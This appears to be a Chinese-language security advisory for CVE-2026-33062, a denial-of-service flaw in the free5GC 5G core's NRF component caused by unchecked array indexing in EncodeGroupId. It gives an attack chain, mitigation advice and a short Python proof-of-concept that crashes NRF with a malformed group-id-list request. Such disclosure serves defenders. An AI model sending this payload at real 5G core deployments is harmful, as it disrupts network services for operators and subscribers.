IPBUF安全漏洞报告
English
CVE-2026-33062 CVSS 7.5 高危

CVE-2026-33062 free5GC NRF拒绝服务漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33062
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
free5GC

相关标签

拒绝服务DoSfree5GC5GNRF输入验证不当

漏洞概述

free5GC开源5G核心网络的NRF组件在1.4.2版本前存在输入验证不当漏洞。远程攻击者可发送包含畸形`group-id-list`参数的恶意HTTP GET请求,触发数组越界错误,导致NRF服务崩溃,造成拒绝服务。

技术细节

该漏洞源于free5GC NRF组件中`EncodeGroupId`函数的代码缺陷。该函数在处理输入数据时,未对分割后的数组长度进行校验,直接尝试访问数组索引[0]、[1]和[2]。当远程攻击者向NRF API发送特制的HTTP GET请求,且其中的`group-id-list`参数未包含足够的分隔符时,会导致数组切片长度小于预期。程序在尝试访问无效索引时会触发运行时panic,抛出"index out of range"错误,导致NRF服务进程异常终止,造成拒绝服务。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找暴露的free5GC NRF服务端点。
STEP 2
构造恶意请求
攻击者构造一个包含畸形`group-id-list`参数(分隔符不足)的HTTP GET请求。
STEP 3
触发漏洞
NRF服务处理请求时,`EncodeGroupId`函数访问越界索引,导致panic。
STEP 4
拒绝服务
NRF进程崩溃,导致5G核心网发现服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-33062 # Target: free5GC NRF < 1.4.2 # Description: Triggers panic via malformed group-id-list def exploit(url): # Endpoint might vary, typically discovery service target = f"{url}/nnrf-disc/v1/nf-instances" # Malformed parameter with insufficient separators payload = { "group-id-list": "trigger-crash" } try: print(f"Sending payload to {target}...") r = requests.get(target, params=payload, timeout=5) print(f"Status Code: {r.status_code}") except requests.exceptions.RequestException as e: print(f"Service likely crashed or unreachable: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1:8000" # Replace with actual target exploit(target_ip)

影响范围

free5GC NRF < 1.4.2

防御指南

临时缓解措施
在应用补丁前,建议在网络层面实施严格的访问控制策略,仅允许授权的5G网元访问NRF API,以降低被攻击风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表